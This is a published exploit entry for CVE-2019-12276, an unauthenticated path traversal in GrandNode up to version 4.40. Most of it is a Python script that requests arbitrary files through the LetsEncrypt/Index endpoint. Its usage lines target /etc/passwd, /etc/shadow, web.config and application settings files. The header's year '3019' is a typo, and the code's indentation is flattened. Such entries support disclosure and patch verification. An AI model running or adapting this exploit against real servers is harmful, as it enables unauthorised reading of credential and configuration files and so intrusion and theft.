GrandNode 4.40 Path Traversal / File Download

`# Exploit Title: GrandNode Path Traversal & Arbitrary File Download (Unauthenticated)  
# Date: 06/23/3019  
# Exploit Author: Corey Robinson (https://twitter.com/CRobSec)  
# Vendor Homepage: https://grandnode.com/  
# Software Link: https://github.com/grandnode/grandnode/archive/728ca1ea2f61aead7c8c443407096b0ef476e49e.zip  
# Version: <= v4.40 (before 5/30/2019)  
# Tested on: Ubuntu 18.04  
# CVE: CVE-2019-12276  
  
'''  
CVE-2019-12276  
  
A path traversal vulnerability in the LetsEncryptController allows remote unauthenticated users to   
view any files that the application has read/view permissions to. This vulnerability affects   
Windows and Unix operating systems.  
  
For more details, see: https://security401.com/grandnode-path-traversal/  
  
'''  
  
import requests  
import argparse  
  
def exploit(url, file):  
  
session = requests.Session()  
  
paramsGet = {"fileName":file}  
rawBody = "\r\n"  
  
response = session.get("{}/LetsEncrypt/Index".format(url), data=rawBody, params=paramsGet)  
  
if "UnauthorizedAccessException" in response.content or response.status_code == 500:  
print("Access to the path '{}' is denied.".format(file))  
return   
  
content_length = int(response.headers['Content-Length'])  
  
if content_length == 0:  
print("The '{}' file was not found.".format(file))   
else:  
print("-" *22)  
print(response.content)  
print("-" *22)  
  
  
if __name__ == "__main__":  
  
parser = argparse.ArgumentParser(description='GrandNode CVE-2019-12276 Path traversal & Arbitrary File Download')  
parser.add_argument('-u', action="store", dest="url", required=True, help='Target URL')  
parser.add_argument('-f', action="store", dest="file", required=True, help='The file to download')  
args = parser.parse_args()  
  
exploit(args.url, args.file)  
  
# python gn.py -u http://172.16.2.22:5001 -f "/etc/passwd"  
# python gn.py -u http://172.16.2.22:5001 -f "../../../App_Data/Settings.txt"  
# python gn.py -u http://172.16.2.22:5001 -f "/etc/shadow"  
# python gn.py -u http://172.16.2.22:5001 -f "../../../web.config"  
`